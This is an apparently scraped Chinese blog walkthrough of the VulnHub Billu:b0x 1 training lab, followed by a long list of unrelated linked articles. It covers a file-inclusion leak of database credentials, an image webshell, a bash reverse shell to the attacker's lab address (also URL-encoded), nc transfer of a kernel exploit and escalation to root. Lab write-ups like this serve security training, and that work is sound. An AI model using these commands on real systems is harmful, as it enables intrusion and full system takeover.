heloy.
heloy.

VULNHUB BILLU：B0X 1演练

 

点击查看作者原文链接

target IP:不详

1.

先使用nmap扫描局域网内cunhuoz主机，进行排查

VULNHUB BILLU：B0X 1演练_第1张图片

排查后的到靶机IP为192.168.171.154

使用dirb扫描目录

VULNHUB BILLU：B0X 1演练_第2张图片

逐个进行排查，

发现使用phpmyadmin管理数据库

VULNHUB BILLU：B0X 1演练_第3张图片

发现192.168.171.154/in页面为phpinfo，搜索www找到绝对路径

VULNHUB BILLU：B0X 1演练_第4张图片

发现192.168.171.154/test页面中可能存在文件包含漏洞

VULNHUB BILLU：B0X 1演练_第5张图片

尝试下载phpmyadmin配置文件

VULNHUB BILLU：B0X 1演练_第6张图片

无法下载，改为POST请求

VULNHUB BILLU：B0X 1演练_第7张图片

下载成功，打开发现root及其密码

VULNHUB BILLU：B0X 1演练_第8张图片

得到root密码，进行SSH连接，VULNHUB BILLU：B0X 1演练_第9张图片

成功！getshell

2.

用burp抓包 c.php时，发现数据库账号密码

VULNHUB BILLU：B0X 1演练_第10张图片

尝试登录phpmyadmin

VULNHUB BILLU：B0X 1演练_第11张图片

登陆成功，发现phpmyadmin版本号3.4.7

VULNHUB BILLU：B0X 1演练_第12张图片

searchsploit phpmyadmin 3.4发现可利用的POC

 

 

 

 

 

 

 

在phmyadmin中查看web账号密码

VULNHUB BILLU：B0X 1演练_第13张图片

登录web页面，查看功能，发现有上传，尝试上传木马

VULNHUB BILLU：B0X 1演练_第14张图片

图片马成功

VULNHUB BILLU：B0X 1演练_第15张图片

VULNHUB BILLU：B0X 1演练_第16张图片

上面审计panel.php中，也发现文件包含漏洞，可以传一个load

VULNHUB BILLU：B0X 1演练_第17张图片

解析13.jpg,cmd赋值whoami,执行成功

VULNHUB BILLU：B0X 1演练_第18张图片

发现用户身份为wwwdata,权限不足，开始写入反弹shell，进行提权

kali开启监听

VULNHUB BILLU：B0X 1演练_第19张图片

反弹shell命令，直接输入尝试不行，需要URL编码一下

echo “bash -i >& /dev/tcp/192.168.171.157/4444 >&1” | bash

VULNHUB BILLU：B0X 1演练_第20张图片

%65%63%68%6F%20%22%62%61%73%68%20%2D%69%20%3E%26%20%2F%64%65%76%2F%74%63%70%2F%31%39%32%2E%31%36%38%2E%31%37%31%2E%31%35%36%2F%34%34%34%34%20%30%3E%26%31%22%20%7C%20%62%61%73%68

 

 

 

 

 

 

kali收到

VULNHUB BILLU：B0X 1演练_第21张图片

lsb release -a命令无法使用，uname -a查看版本号，搜索相应的提权方式

searchsploit 3.13 找到提权poc

VULNHUB BILLU：B0X 1演练_第22张图片

使用nc命令将37292.c传至靶机

kali：nc -q 1 -lp 333 < 37292.c

靶机: nv -nv 192.168.171.156 333 > 37292.c

VULNHUB BILLU：B0X 1演练_第23张图片查看用法

VULNHUB BILLU：B0X 1演练_第24张图片

靶机gcc命令进行编译 gcc 37292.c -o exp

执行

获得root权限

VULNHUB BILLU：B0X 1演练_第25张图片

你可能感兴趣的:(靶机)

  • vulnhub靶机-DC2-Writeup 含日 靶机linux安全靶机渗透测试安全漏洞
    0x01部署靶机地址：https://www.vulnhub.com/entry/dc-2,311/DESCRIPTIONMuchlikeDC-1,DC-2isanotherpurposelybuiltvulnerablelabforthepurposeofgainingexperienceintheworldofpenetrationtesting.AswiththeoriginalDC-1,i
  • VulnHub DC-1-DC-7靶机WP 蚁景网络安全 网络安全渗透测试
    VulnHubDC系列靶机：https://vulnhub.com/series/dc,199/#VulnHubDC-1nmap开路获取信息Nmapscanreportfor192.168.106.133Hostisup(0.00017slatency).Notshown:997closedportsPORTSTATESERVICE22/tcpopenssh80/tcpopenhttp111/tc
  • ubuntu16下搭建web服务器以及数据库 AI_Engine
    我的公众号：AIEngine（I是大写的i啦！！！）前几日有位关注本人公众号的朋友想咨询下如何0起步搭建web服务器并关联数据库，正巧之前也有人问过类似的问题，今天留下干货一篇，搭建的环境正好也可当做靶机使用。对于大神们可以绕道，不过哪里说的不对欢迎指教啊~首先呢，我们搭建一台ubuntu16.04的虚拟机（方便试验，真实情况当然是要有一台服务器了），然后安装openssh-server（open
  • 纪念第一次面试安服-靶机测试过程以及思路 寻址00000001 安服学习以及实战演练安全
    靶机测试过程以及思路解题思路：1查看web界面站点信息（寻找有价值信息）2查看站点源码信息（html\css\js）3遍历目录，访问可访问站点（发现登陆界面）4解码站点有用信息（图片、文本）5登陆界面dirb中进行路径爆破6抓包、更改request分析登陆界面7寻找web服务器漏洞、站点漏洞、数据库漏洞等漏洞信息，如git泄露8sql注入、文件包含等方式先使用错误的参数进行页面报错判断（使用’或者
  • BossPlayerCTF Y4y17 Vulnhub安全web安全网络网络安全学习
    靶场环境问题靶场下载之后，可能会出现扫描不到IP的情况，需要进行调整，参考：Vulnhub靶机检测不到IP地址_vulnhub靶机nmap扫不到-CSDN博客该靶机没有vim，需要使用vi命令去修改；改成当前网卡即可！信息收集#nmap-sn192.168.1.0/24-oNlive.nmapStartingNmap7.94(https://nmap.org)at2024-02-0409:31CS
  • HTB-CozyHosting Y4y17 HackTheBox网络安全安全学习web安全安全威胁分析
    目标靶机的IP地址为10.10.11.230，下面测试连接的稳定性！攻击机的IP地址为10.10.14.67！有一点点慢，应该是问题不大！信息收集#nmap-sT--min-rate10000-p-10.10.11.230-oNport.nmapStartingNmap7.94(https://nmap.org)at2024-02-1517:36CSTWarning:10.10.11.230giv
  • HTB-Analytics Y4y17 HackTheBox网络安全学习安全威胁分析web安全安全
    靶机的IP地址为10.10.11.233，攻击机的IP地址为10.10.16.30信息收集#nmap-sT--min-rate10000-p-10.10.11.233-oNport.nmapStartingNmap7.94(https://nmap.org)at2024-02-1914:50CSTWarning:10.10.11.233givinguponportbecauseretransmis
  • 【BUUCTF 加固题】Ezsql 速通 hacker-routing webCTF夺旗赛开发语言前端javascriptweb安全htmlphpCTF
    博主介绍‍博主介绍：大家好，我是hacker-routing，很高兴认识大家~✨主攻领域：【渗透领域】【应急响应】【Java】【VulnHub靶场复现】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！目录前言一、访问web网址二、ssh远程登录三、加固网站源代码前言靶机地址解释：第一行：目标机器WEB服
  • vulvhub-----Hacker-KID靶机 郑居中3.0 vulnhub靶机hacker-KIDweb安全python
    打靶详细教程1.网段探测2.端口服务扫描3.目录扫描4.收集信息burpsuite抓包5.dig命令6.XXE漏洞读取.bashrc文件7.SSTI漏洞8.提权1.查看python是否具备这个能力2.使用python执行exp.py脚本，如果提权成功，靶机则会开放5600端口1.网段探测┌──(root㉿kali)-[~]└─#arp-scan-lInterface:eth0,type:EN10M
  • 【靶机渗透】HACKME: 1 安全狐 靶机渗透安全
    【靶机渗透】HACKME:1本篇将分享一个来源于VulnHub社区，适合初学者的靶机HACKME:10x01靶机介绍1.详情链接https://www.vulnhub.com/entry/hackme-1,330/发布日期2019年7月18日作者x4bx54难度初学者，简单2.描述'hackme'isabeginnerdifficultylevelbox.Thegoalistogainlimite
  • ＜网络安全＞《35 网络攻防专业课＜第一课 - 网络攻防准备＞》 Ealser #网络安全web安全网络安全网络攻防
    1主要内容认识黑客认识端口常见术语与命令网络攻击流程VMWare虚拟环境靶机搭建2认识黑客2.1白帽、灰帽和黑帽黑客白帽黑客是指有能力破坏电脑安全但不具恶意目的黑客。灰帽黑客是指对于伦理和法律态度不明的黑客。黑帽黑客经常用于区别于一般（正面的）理性黑客，一个犯罪和黑客的合成词。2.2黑客、红客、蓝客和骇客黑客：Hacker，水平超高的电脑专家，尤其是程序设计人员，是一个统称。红客：维护国家利益，代
  • [GXYCTF2019]禁止套娃1 不会编程的崽的博客 不会编程的崽 web安全网络安全安全
    这个题重点在于无参数绕过首先来看一下这个界面查看源代码，目录文件扫描以及抓包都没什么有价值的信息。但是web题如果没有什么功能页面，一定有什么提示。若提示也没有，一般就泄露了文件或者源码等。这题就是源码泄露。使用GitHack。下载地址如下:https://github.com/lijiejie/GitHackpython2GitHack.pyhttp://你的靶机地址/.git打开index的源
  • 渗透测试实战-bulldog Rgylin 我的渗透之路安全web安全linux
    文章目录环境准备信息收集漏洞利用后期利用思路一后期利用总结环境准备kali当成攻击机bulldog靶机官网下载地址Vmware装入即可,成功后是显示这个样子kaliip是:192.168.240.128信息收集使用nmap扫一下靶机处于的网段情况使用nmap-sn只进行主机发现,不进行端口扫描nmap-Pn并进行端口扫描已知对方网段在192.168.240.中所以nmap扫一下即可漏洞利用可以看到
  • CFS三层靶机 0e1G7 渗透笔记服务器linux运维
    参考博客：CFS三层内网靶场渗透记录【详细指南】-FreeBuf网络安全行业门户CFS三层靶机搭建及其内网渗透【附靶场环境】|TeamsSixCFS三层网络环境靶场实战-PANDA墨森-博客园(cnblogs.com)CFS三层靶机实战--内网横向渗透-知乎(zhihu.com)CFS靶机实战演练-从外网杀进三层内网，横向渗透拿到Flag-阿里云开发者社区(aliyun.com)主机发现fscan
  • vulnhub-Momentum2 南冥~ sshphplinux
    vulnhub-Momentum2靶机首先先去下载靶机地址：https://download.vulnhub.com/momentum/Momentum2.ova下载完靶机，直接利用VMave导入打开一，信息收集首先确定自己的靶机为net模式，知道自己靶机所在网段然后利用kali进行IP扫描：nmap-sP192.168.229.0/24发现存活的IP，除去自己的IP发现靶机IP：192.168.
  • DC-4靶场实战详解 a310034188 DC安全linuxweb安全
    DC-4靶场实战详解环境安装DC-4下载地址：https://www.vulnhub.com/entry/dc-4,313/kali与DC-4网络配置设为一致，我这里都是用nat模式寻找FLAG信息收集1.寻找靶机ip我的kaliip为192.168.79.128不知道kaliip的可以直接ipadd查看在kali中使用nmap或者使用arp-scan方法一：arp-scan-l方法二：nmap-
  • Vulnhub靶机：DC4 huang0c 靶场web安全
    一、介绍运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：DC4（10.0.2.57）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/dc-4,313/二、信息收集使用nmap主机发现靶机ip：10.0.2.57使用nmap端口扫描发现靶机开放端口：22、80打开网站是一个登录页面，查看源码也没有发现隐藏信息使用
  • 渗透测试-靶机Bulldog2 鸡翅儿
    参考链接：https://www.anquanke.com/post/id/160755攻击机ip：192.168.60.230靶机ip：192.168.30.231图片.png端口扫描这里仍然使用nmapnmap-sV-p-192.168.60.231查看到只开放了一个80端口图片.png访问web页面，通过指纹识别工具查询到编程语使用的是Node.js，服务器Nginx图片.png端口探测后开
  • Vulnhub靶机：DC3 huang0c 靶场web安全
    一、介绍运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：DC3（10.0.2.56）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/dc-32,312/二、信息收集使用nmap主机发现靶机ip：10.0.2.56使用nmap端口扫描发现靶机开放端口：80打开网站发现是一个登录界面，查看源码未发现隐藏信息使用go
  • Vulnhub靶机：DC2 huang0c 靶场web安全
    一、介绍运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：DC2（10.0.2.55）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/dc-2,311/二、信息收集使用nmap主机发现靶机ip：10.0.2.55使用nmap端口扫描发现靶机开放端口：80、7744打开网站发现会自动跳转到域名dc-2，在/etc/
  • [VulnHub靶机渗透] Nyx hacker-routing web【精选】VulnHub渗透测试靶场练习平台前端开发语言CTF安全网络vulnhub渗透测试
    博主介绍‍博主介绍：大家好，我是hacker-routing，很高兴认识大家~✨主攻领域：【渗透领域】【应急响应】【python】【VulnHub靶场复现】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！目录前言一、信息收集1、主机探测2、端口扫描3、漏洞扫描nikto漏洞扫描nmap漏洞扫描二、调试测
  • hackthebox-Oouch byc_404
    Oouch靶机的难度相比最近做完的两个hardmachineQuick跟Forwardslash而言有过之而无不及。甚至于感觉可能接近到Insane难度了。从web界面下手时遇到很多不稳定的问题，而之后从user提权到root更是出现玄学问题，一模一样的的payload头一天失败第二天就成了。但是总归学到了不少新知识，所以赶紧总结下。由于Oouch还是active状态，所以我会给文章上锁直到靶机退
  • Vulnhub靶机：hackable3 huang0c 靶场web安全
    一、介绍运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：hackable3（10.0.2.53）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/hackable-iii,720/二、信息收集使用nmap主机发现靶机ip：10.0.2.53使用nmap端口扫描发现，靶机开放端口：22、80打开网站未发现可利用的功
  • Vulnhub靶机：DC1 huang0c 靶场web安全
    一、介绍运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：DC1（10.0.2.54）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/dc-1,292/二、信息收集使用nmap主机发现靶机ip：10.0.2.54使用nmap端口扫描发现靶机开放端口：22、80、111、3788480端口：打开网站发现该网站为Dr
  • Vulnhub靶机：hackableII huang0c 靶场web安全
    一、介绍运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：hackableII（10.0.2.52）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/hackable-ii,711/二、信息收集使用nmap主机发现靶机ip：10.0.2.52使用nmap端口扫描发现，靶机开放端口：21、22、8021端口：通过nm
  • Vulnhub靶机：hacksudo-ProximaCentauri huang0c 靶场web安全
    一、介绍运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：hacksudo-ProximaCentauri（10.0.2.51）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/二、信息收集使用nmap主机发现靶机ip：10.0.2.51使用nmap端口扫描
  • redis未授权访问漏洞利用 渗透测试老鸟-九青 redis数据库缓存
    当redis服务(6379)端口对外开放且未作密码认证时，任意用户可未授权访问redis服务并操作获取其数据。攻击机：10.1.1.100kali目标靶机：10.1.1.200一、探测redis的未授权访问首先在攻击机上使用nmap对目标机进行扫描，探测开放的服务与端口。使用全端口扫描，探测存在的服务：nmap-p--sV10.1.1.200探测到靶机开放了多个端口，其中存在redis服务的637
  • 【Web】Redis未授权访问漏洞学习笔记 Z3r4y redisctfweb未授权访问web安全网络安全shellcode
    目录简介靶机配置Redis持久化Redis动态修改配置webshell反弹shellRedis写入反弹shell任务加固方案简介Redis（RemoteDictionaryServer远程字典服务器）是一个开源的内存数据库，也被称为数据结构服务器，它支持多种数据结构，如字符串、哈希表、列表、集合、有序集合等。Redis旨在提供一个高性能、持久化的key-value存储解决方案，并且具有丰富的功能和
  • DC-9靶机渗透详细流程 kitha. DC靶机系列渗透测试网络安全web安全web网络安全安全攻防
    信息收集：1.存活扫描：arp-scan-Ieth0-l发现靶机ip：192.168.10.132└─#arp-scan-Ieth0-l192.168.10.100:50:56:c0:00:08(Unknown)192.168.10.200:50:56:e5:b1:08(Unknown)192.168.10.132//靶机00:0c:29:a6:a5:cd(Unknown)192.168.10.2
  • buuctf [ACTF2020 新生赛]Exec1 又一片风 CTF_WPlinuxweb安全安全
    本题考查linux命令，越权查询知识点：ls查看当前目录下的所有目录和文件ls/查看根目录下的所有目录和文件cat以文本形式读取文件1.我们进入靶机地址，看到有这样一个ping地址2.首先我们ping一下本机，即127.0.0.1，发现可以正常ping到3.那么我们就可以进行双重操作，即命令1&&命令2：在进行命令1成功后进行命令2；我们猜想服务器用的是linux系统4.发现在根目录下存在flag
  • Linux的Initrd机制 被触发 linux
    Linux 的 initrd 技术是一个非常普遍使用的机制，linux2.6 内核的 initrd 的文件格式由原来的文件系统镜像文件转变成了 cpio 格式，变化不仅反映在文件格式上， linux 内核对这两种格式的 initrd 的处理有着截然的不同。本文首先介绍了什么是 initrd 技术，然后分别介绍了 Linux2.4 内核和 2.6 内核的 initrd 的处理流程。最后通过对 Lin
  • maven本地仓库路径修改 bitcarter maven
    默认maven本地仓库路径：C:\Users\Administrator\.m2 修改maven本地仓库路径方法：     1.打开E:\maven\apache-maven-2.2.1\conf\settings.xml     2.找到        
  • XSD和XML中的命名空间 darrenzhu xmlxsdschemanamespace命名空间
    http://www.360doc.com/content/12/0418/10/9437165_204585479.shtml http://blog.csdn.net/wanghuan203/article/details/9203621 http://blog.csdn.net/wanghuan203/article/details/9204337 http://www.cn
  • Java 求素数运算 周凡杨 java算法素数
    网络上对求素数之解数不胜数，我在此总结归纳一下，同时对一些编码，加以改进，效率有成倍热提高。 第一种：   原理: 6N(+-)1法         任何一个自然数，总可以表示成为如下的形式之一： 6N，6N+1，6N+2，6N+3，6N+4，6N+5 (N=0，1，2，…)   
  • java 单例模式 g21121 java
    想必单例模式大家都不会陌生，有如下两种方式来实现单例模式：   class Singleton { private static Singleton instance=new Singleton(); private Singleton(){} static Singleton getInstance() { return instance; }
  • Linux下Mysql源码安装 510888780 mysql
    1.假设已经有mysql-5.6.23-linux-glibc2.5-x86_64.tar.gz (1)创建mysql的安装目录及数据库存放目录       解压缩下载的源码包，目录结构，特殊指定的目录除外：           
  • 32位和64位操作系统 墙头上一根草 32位和64位操作系统
    32位和64位操作系统是指：CPU一次处理数据的能力是32位还是64位。现在市场上的CPU一般都是64位的，但是这些CPU并不是真正意义上的64 位CPU，里面依然保留了大部分32位的技术，只是进行了部分64位的改进。32位和64位的区别还涉及了内存的寻址方面，32位系统的最大寻址空间是2 的32次方= 4294967296（bit）= 4（GB）左右，而64位系统的最大寻址空间的寻址空间则达到了
  • 我的spring学习笔记10-轻量级_Spring框架 aijuans Spring 3
    一、问题提问：     → 请简单介绍一下什么是轻量级？     轻量级（Leightweight）是相对于一些重量级的容器来说的，比如Spring的核心是一个轻量级的容器，Spring的核心包在文件容量上只有不到1M大小，使用Spring核心包所需要的资源也是很少的，您甚至可以在小型设备中使用Spring。  
  • mongodb 环境搭建及简单CURD antlove WebInstallcurdNoSQLmongo
    一 搭建mongodb环境 1. 在mongo官网下载mongodb 2. 在本地创建目录 "D:\Program Files\mongodb-win32-i386-2.6.4\data\db" 3. 运行mongodb服务 [mongod.exe --dbpath "D:\Program Files\mongodb-win32-i386-2.6.4\data\
  • 数据字典和动态视图 百合不是茶 oracle数据字典动态视图系统和对象权限
    数据字典（data dictionary）是 Oracle 数据库的一个重要组成部分，这是一组用于记录数据库信息的只读（read-only）表。随着数据库的启动而启动,数据库关闭时数据字典也关闭   数据字典中包含   数据库中所有方案对象（schema object）的定义(包括表，视图，索引，簇，同义词，序列，过程，函数，包，触发器等等) 数据库为一
  • 多线程编程一般规则 bijian1013 javathread多线程java多线程
           如果两个工两个以上的线程都修改一个对象，那么把执行修改的方法定义为被同步的，如果对象更新影响到只读方法，那么只读方法也要定义成同步的。        不要滥用同步。如果在一个对象内的不同的方法访问的不是同一个数据，就不要将方法设置为synchronized的。
  • 将文件或目录拷贝到另一个Linux系统的命令scp bijian1013 linuxunixscp
    一.功能说明        scp就是security copy，用于将文件或者目录从一个Linux系统拷贝到另一个Linux系统下。scp传输数据用的是SSH协议，保证了数据传输的安全，其格式如下：        scp 远程用户名@IP地址：文件的绝对路径
  • 【持久化框架MyBatis3五】MyBatis3一对多关联查询 bit1129 Mybatis3
    以教员和课程为例介绍一对多关联关系，在这里认为一个教员可以叫多门课程，而一门课程只有1个教员教，这种关系在实际中不太常见，通过教员和课程是多对多的关系。   示例数据：   地址表：   CREATE TABLE ADDRESSES ( ADDR_ID INT(11) NOT NULL AUTO_INCREMENT, STREET VAR
  • cookie状态判断引发的查找问题 bitcarter formcgi
    先说一下我们的业务背景： 1.前台将图片和文本通过form表单提交到后台，图片我们都做了base64的编码，并且前台图片进行了压缩 2.form中action是一个cgi服务 3.后台cgi服务同时供PC，H5，APP 4.后台cgi中调用公共的cookie状态判断方法（公共的，大家都用，几年了没有问题） 问题：（折腾两天。。。。） 1.PC端cgi服务正常调用，cookie判断没
  • 通过Nginx,Tomcat访问日志(access log)记录请求耗时 ronin47
    一、Nginx通过$upstream_response_time $request_time统计请求和后台服务响应时间 nginx.conf使用配置方式： log_format main '$remote_addr - $remote_user [$time_local] "$request" ''$status $body_bytes_sent "$http_r
  • java-67- n个骰子的点数。 把n个骰子扔在地上，所有骰子朝上一面的点数之和为S。输入n，打印出S的所有可能的值出现的概率。 bylijinnan java
    public class ProbabilityOfDice { /** * Q67 n个骰子的点数 * 把n个骰子扔在地上，所有骰子朝上一面的点数之和为S。输入n，打印出S的所有可能的值出现的概率。 * 在以下求解过程中，我们把骰子看作是有序的。 * 例如当n=2时，我们认为（1，2）和（2，1）是两种不同的情况 */ private stati
  • 看别人的博客，觉得心情很好 Cb123456 博客心情
       以为写博客，就是总结，就和日记一样吧，同时也在督促自己。今天看了好长时间博客:    职业规划:    http://www.iteye.com/blogs/subjects/zhiyeguihua      android学习:    1.http://byandby.i
  • [JWFD开源工作流]尝试用原生代码引擎实现循环反馈拓扑分析 comsci 工作流
        我们已经不满足于仅仅跳跃一次，通过对引擎的升级，今天我测试了一下循环反馈模式，大概跑了200圈，引擎报一个溢出错误      在一个流程图的结束节点中嵌入一段方程，每次引擎运行到这个节点的时候，通过实时编译器GM模块，计算这个方程，计算结果与预设值进行比较，符合条件则跳跃到开始节点，继续新一轮拓扑分析，直到遇到
  • JS常用的事件及方法 cwqcwqmax9 js
    事件 描述 onactivate 当对象设置为活动元素时触发。 onafterupdate 当成功更新数据源对象中的关联对象后在数据绑定对象上触发。 onbeforeactivate 对象要被设置为当前元素前立即触发。 onbeforecut 当选中区从文档中删除之前在源对象触发。 onbeforedeactivate 在 activeElement 从当前对象变为父文档其它对象之前立即
  • 正则表达式验证日期格式 dashuaifu 正则表达式IT其它java其它
    正则表达式验证日期格式 function isDate(d){ var v = d.match(/^(\d{4})-(\d{1,2})-(\d{1,2})$/i); if(!v) { this.focus(); return false; } } <input value="2000-8-8" onblu
  • Yii CModel.rules() 方法 、validate预定义完整列表、以及说说验证 dcj3sjt126com yii
    public array rules () {return} array 要调用 validate() 时应用的有效性规则。 返回属性的有效性规则。声明验证规则，应重写此方法。 每个规则是数组具有以下结构：array('attribute list', 'validator name', 'on'=>'scenario name', ...validation
  • UITextAttributeTextColor = deprecated in iOS 7.0 dcj3sjt126com ios
    In this lesson we used the key "UITextAttributeTextColor" to change the color of the UINavigationBar appearance to white. This prompts a warning "first deprecated in iOS 7.0." Ins
  • 判断一个数是质数的几种方法 EmmaZhao Mathpython
    质数也叫素数，是只能被1和它本身整除的正整数，最小的质数是2，目前发现的最大的质数是p=2^57885161-1【注1】。 判断一个数是质数的最简单的方法如下： def isPrime1(n): for i in range(2, n): if n % i == 0: return False return True 但是在上面的方法中有一些冗余的计算，所以
  • SpringSecurity工作原理小解读 坏我一锅粥 SpringSecurity
      SecurityContextPersistenceFilter   ConcurrentSessionFilter   WebAsyncManagerIntegrationFilter   HeaderWriterFilter   CsrfFilter   LogoutFilter   Use
  • JS实现自适应宽度的Tag切换 ini JavaScripthtmlWebcsshtml5
    效果体验：http://hovertree.com/texiao/js/3.htm   该效果使用纯JavaScript代码，实现TAB页切换效果，TAB标签根据内容自适应宽度，点击TAB标签切换内容页。 HTML文件代码： <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"
  • Hbase Rest API : 数据查询 kane_xie RESThbase
    hbase（hadoop）是用java编写的，有些语言（例如python）能够对它提供良好的支持，但也有很多语言使用起来并不是那么方便，比如c#只能通过thrift访问。Rest就能很好的解决这个问题。Hbase的org.apache.hadoop.hbase.rest包提供了rest接口，它内嵌了jetty作为servlet容器。   启动命令：./bin/hbase rest s
  • JQuery实现鼠标拖动元素移动位置（源码+注释） 明子健 jqueryjs源码拖动鼠标
    欢迎讨论指正！   print.html代码： <!DOCTYPE html> <html> <head> <meta http-equiv=Content-Type content="text/html;charset=utf-8"> <title>发票打印</title> &l
  • Postgresql 连表更新字段语法 update qifeifei PostgreSQL
    下面这段sql本来目的是想更新条件下的数据，可是这段sql却更新了整个表的数据。sql如下： UPDATE tops_visa.visa_order SET op_audit_abort_pass_date = now() FROM tops_visa.visa_order as t1 INNER JOIN tops_visa.visa_visitor as t2 ON t1.
  • 将redis,memcache结合使用的方案? tcrct rediscache
    公司架构上使用了阿里云的服务，由于阿里的kvstore收费相当高，打算自建，自建后就需要自己维护，所以就有了一个想法，针对kvstore(redis)及ocs(memcache)的特点，想自己开发一个cache层，将需要用到list，set，map等redis方法的继续使用redis来完成，将整条记录放在memcache下，即findbyid，save等时就memcache，其它就对应使用redi
  • 开发中遇到的诡异的bug wudixiaotie bug
    今天我们服务器组遇到个问题： 我们的服务是从Kafka里面取出数据，然后把offset存储到ssdb中，每个topic和partition都对应ssdb中不同的key，服务启动之后，每次kafka数据更新我们这边收到消息，然后存储之后就发现ssdb的值偶尔是-2,这就奇怪了，最开始我们是在代码中打印存储的日志，发现没什么问题，后来去查看ssdb的日志，才发现里面每次set的时候都会对同一个key
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他